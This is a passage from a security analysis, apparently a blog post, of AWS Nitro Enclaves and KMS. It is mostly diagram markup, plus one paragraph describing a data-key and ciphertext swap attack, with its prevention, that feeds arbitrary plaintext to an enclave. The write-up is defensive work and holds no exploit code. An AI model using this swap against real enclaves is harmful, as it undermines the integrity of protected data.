<text text-anchor="middle" x="424" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="424" y="740" fill="currentColor">2</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="180" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="228" fill="currentColor">}</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="740" fill="currentColor">≠</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="448" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="456" y="740" fill="currentColor">P</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>


<label class="tabs__label" for="tabs-5-1">Prevented</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 761">
 <g transform="translate(8,16)">
<path d="M 256,48 L 496,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 496,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 56,144 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,192 L 496,192" fill="none" stroke="currentColor"></path>
<path d="M 264,240 L 272,240" fill="none" stroke="currentColor"></path>
<path d="M 288,240 L 296,240" fill="none" stroke="currentColor"></path>
<path d="M 304,240 L 312,240" fill="none" stroke="currentColor"></path>
<path d="M 320,240 L 328,240" fill="none" stroke="currentColor"></path>
<path d="M 336,240 L 344,240" fill="none" stroke="currentColor"></path>
<path d="M 352,240 L 360,240" fill="none" stroke="currentColor"></path>
<path d="M 368,240 L 376,240" fill="none" stroke="currentColor"></path>
<path d="M 384,240 L 392,240" fill="none" stroke="currentColor"></path>
<path d="M 400,240 L 408,240" fill="none" stroke="currentColor"></path>
<path d="M 416,240 L 424,240" fill="none" stroke="currentColor"></path>
<path d="M 432,240 L 440,240" fill="none" stroke="currentColor"></path>
<path d="M 448,240 L 456,240" fill="none" stroke="currentColor"></path>
<path d="M 464,240 L 472,240" fill="none" stroke="currentColor"></path>
<path d="M 480,240 L 488,240" fill="none" stroke="currentColor"></path>
<path d="M 496,240 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 56,288 L 256,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 64,336" fill="none" stroke="currentColor"></path>
<path d="M 72,336 L 80,336" fill="none" stroke="currentColor"></path>
<path d="M 88,336 L 96,336" fill="none" stroke="currentColor"></path>
<path d="M 104,336 L 112,336" fill="none" stroke="currentColor"></path>
<path d="M 120,336 L 128,336" fill="none" stroke="currentColor"></path>
<path d="M 136,336 L 144,336" fill="none" stroke="currentColor"></path>
<path d="M 152,336 L 160,336" fill="none" stroke="currentColor"></path>
<path d="M 168,336 L 176,336" fill="none" stroke="currentColor"></path>
<path d="M 184,336 L 192,336" fill="none" stroke="currentColor"></path>
<path d="M 200,336 L 208,336" fill="none" stroke="currentColor"></path>
<path d="M 216,336 L 224,336" fill="none" stroke="currentColor"></path>
<path d="M 232,336 L 248,336" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 496,384" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 272,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 480,432 L 488,432" fill="none" stroke="currentColor"></path>
<path d="M 496,432 L 504,432" fill="none" stroke="currentColor"></path>
<path d="M 256,464 L 280,464" fill="none" stroke="currentColor"></path>
<path d="M 376,480 L 384,480" fill="none" stroke="currentColor"></path>
<path d="M 264,496 L 280,496" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 64,528" fill="none" stroke="currentColor"></path>
<path d="M 296,528 L 504,528" fill="none" stroke="currentColor"></path>
<path d="M 504,528 L 520,528" fill="none" stroke="currentColor"></path>
<path d="M 56,592 L 64,592" fill="none" stroke="currentColor"></path>
<path d="M 72,592 L 80,592" fill="none" stroke="currentColor"></path>
<path d="M 88,592 L 96,592" fill="none" stroke="currentColor"></path>
<path d="M 104,592 L 112,592" fill="none" stroke="currentColor"></path>
<path d="M 120,592 L 128,592" fill="none" stroke="currentColor"></path>
<path d="M 136,592 L 144,592" fill="none" stroke="currentColor"></path>
<path d="M 152,592 L 160,592" fill="none" stroke="currentColor"></path>
<path d="M 168,592 L 176,592" fill="none" stroke="currentColor"></path>
<path d="M 184,592 L 192,592" fill="none" stroke="currentColor"></path>
<path d="M 200,592 L 208,592" fill="none" stroke="currentColor"></path>
<path d="M 216,592 L 224,592" fill="none" stroke="currentColor"></path>
<path d="M 232,592 L 248,592" fill="none" stroke="currentColor"></path>
<path d="M 256,640 L 496,640" fill="none" stroke="currentColor"></path>
<path d="M 264,688 L 272,688" fill="none" stroke="currentColor"></path>
<path d="M 288,688 L 296,688" fill="none" stroke="currentColor"></path>
<path d="M 304,688 L 312,688" fill="none" stroke="currentColor"></path>
<path d="M 320,688 L 328,688" fill="none" stroke="currentColor"></path>
<path d="M 336,688 L 344,688" fill="none" stroke="currentColor"></path>
<path d="M 352,688 L 360,688" fill="none" stroke="currentColor"></path>
<path d="M 368,688 L 376,688" fill="none" stroke="currentColor"></path>
<path d="M 384,688 L 392,688" fill="none" stroke="currentColor"></path>
<path d="M 400,688 L 408,688" fill="none" stroke="currentColor"></path>
<path d="M 416,688 L 424,688" fill="none" stroke="currentColor"></path>
<path d="M 432,688 L 440,688" fill="none" stroke="currentColor"></path>
<path d="M 448,688 L 456,688" fill="none" stroke="currentColor"></path>
<path d="M 464,688 L 472,688" fill="none" stroke="currentColor"></path>
<path d="M 480,688 L 488,688" fill="none" stroke="currentColor"></path>
<path d="M 496,688 L 504,688" fill="none" stroke="currentColor"></path>
<path d="M 0,720 L 48,720" fill="none" stroke="currentColor"></path>
<path d="M 48,720 L 256,720" fill="none" stroke="currentColor"></path>
<path d="M 256,720 L 504,720" fill="none" stroke="currentColor"></path>
<path d="M 504,720 L 520,720" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 0,720" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 48,720" fill="none" stroke="currentColor"></path>
<path d="M 48,720 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,192" fill="none" stroke="currentColor"></path>
<path d="M 256,192 L 256,288" fill="none" stroke="currentColor"></path>
<path d="M 256,288 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,464" fill="none" stroke="currentColor"></path>
<path d="M 256,464 L 256,512" fill="none" stroke="currentColor"></path>
<path d="M 256,544 L 256,640" fill="none" stroke="currentColor"></path>
<path d="M 256,640 L 256,720" fill="none" stroke="currentColor"></path>
<path d="M 256,720 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 280,464 L 280,496" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,528" fill="none" stroke="currentColor"></path>
<path d="M 504,528 L 504,720" fill="none" stroke="currentColor"></path>
<path d="M 504,720 L 504,736" fill="none" stroke="currentColor"></path>
<path d="M 520,528 L 520,720" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,144.000000 52.000000,138.399994 52.000000,149.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 144.000000)"></polygon>
<polygon points="64.000000,288.000000 52.000000,282.399994 52.000000,293.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 288.000000)"></polygon>
<polygon points="256.000000,336.000000 244.000000,330.399994 244.000000,341.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 336.000000)"></polygon>
<polygon points="256.000000,592.000000 244.000000,586.400024 244.000000,597.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 592.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,240.000000 260.000000,234.399994 260.000000,245.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 240.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
<polygon points="272.000000,496.000000 260.000000,490.399994 260.000000,501.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 496.000000)"></polygon>
<polygon points="272.000000,688.000000 260.000000,682.400024 260.000000,693.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 688.000000)"></polygon>
<polygon points="392.000000,480.000000 380.000000,474.399994 380.000000,485.600006" fill="currentColor" transform="rotate(0.000000, 384.000000, 480.000000)"></polygon>
<polygon points="504.000000,48.000000 492.000000,42.400002 492.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 496.000000, 48.000000)"></polygon>
<polygon points="504.000000,192.000000 492.000000,186.399994 492.000000,197.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 192.000000)"></polygon>
<polygon points="504.000000,384.000000 492.000000,378.399994 492.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 384.000000)"></polygon>
<polygon points="504.000000,640.000000 492.000000,634.400024 492.000000,645.599976" fill="currentColor" transform="rotate(0.000000, 496.000000, 640.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">s</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="564" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="532" fill="currentColor">D</text>
<text text-anchor="middle" x="80" y="564" fill="currentColor">E</text>
<text text-anchor="middle" x="88" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="88" y="564" fill="currentColor">2</text>
<text text-anchor="middle" x="88" y="580" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="564" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="580" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="564" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="580" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="564" fill="currentColor">2</text>
<text text-anchor="middle" x="112" y="580" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="120" y="532" fill="currentColor">s</text>
<text text-anchor="middle" x="120" y="564" fill="currentColor">)</text>
<text text-anchor="middle" x="120" y="580" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="128" y="532" fill="currentColor">w</text>
<text text-anchor="middle" x="128" y="580" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="580" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="144" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">=</text>
<text text-anchor="middle" x="152" y="580" fill="currentColor">o</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="160" y="580" fill="currentColor">f</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="168" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="580" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="184" y="580" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="192" y="532" fill="currentColor">c</text>
<text text-anchor="middle" x="192" y="580" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="200" y="532" fill="currentColor">k</text>
<text text-anchor="middle" x="200" y="580" fill="currentColor">C</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">P</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="208" y="580" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="216" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">P</text>
<text text-anchor="middle" x="224" y="532" fill="currentColor">r</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="232" y="532" fill="currentColor">e</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="532" fill="currentColor">v</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="248" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="248" y="532" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="532" fill="currentColor">n</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="180" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="228" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="372" fill="currentColor">D</text>
<text text-anchor="middle" x="272" y="532" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="628" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="280" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="228" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="372" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="532" fill="currentColor">d</text>
<text text-anchor="middle" x="280" y="628" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="288" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="288" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="628" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="228" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="628" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="180" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="628" fill="currentColor">y</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="228" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="628" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="228" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="628" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="676" fill="currentColor">f</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="228" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="628" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="676" fill="currentColor">a</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="180" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="228" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="628" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="676" fill="currentColor">i</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="228" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="628" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="676" fill="currentColor">l</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="484" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="628" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="676" fill="currentColor">u</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="360" y="628" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="676" fill="currentColor">r</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="180" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="228" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="628" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="676" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="628" fill="currentColor">d</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="180" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="384" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="628" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="628" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">C</text>
<text text-anchor="middle" x="400" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="228" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="400" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="400" y="628" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">1</text>
<text text-anchor="middle" x="408" y="180" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="228" fill="currentColor">C</text>
<text text-anchor="middle" x="408" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="408" y="628" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="180" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="416" y="372" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="628" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="424" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="228" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="372" fill="currentColor">1</text>
<text text-anchor="middle" x="424" y="628" fill="currentColor">C</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="432" y="180" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="432" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="628" fill="currentColor">1</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="440" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="228" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="628" fill="currentColor">)</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="448" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">E</text>
<text text-anchor="middle" x="456" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="456" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="464" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="464" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="464" y="228" fill="currentColor">}</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">1</text>
<text text-anchor="middle" x="472" y="180" fill="currentColor">2</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="480" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>

</div>
 <figcaption><span>Figure 3: Simple data swap attack and prevention.</span></figcaption>
 </figure>
<p>Passive attackers that can call <code>Encrypt</code> (or <code>ReEncrypt</code>) on a CMK can perform an even more severe
version of the attack above and swap the DK-ciphertext pair with a custom one, effectively providing
arbitrary plaintext to the enclave. The same issue applies if an attacker can call
<code>GenerateDataKey</code>. Note that some cases <a href="https://docs.aws.amazon.com/enclaves/latest/user/kms.html">may
require</a> authorization to these
operations for non-enclave entities, but this authorization should be revoked after the initial
setup.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 713">
 <g transform="translate(8,16)">
<path d="M 256,48 L 496,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
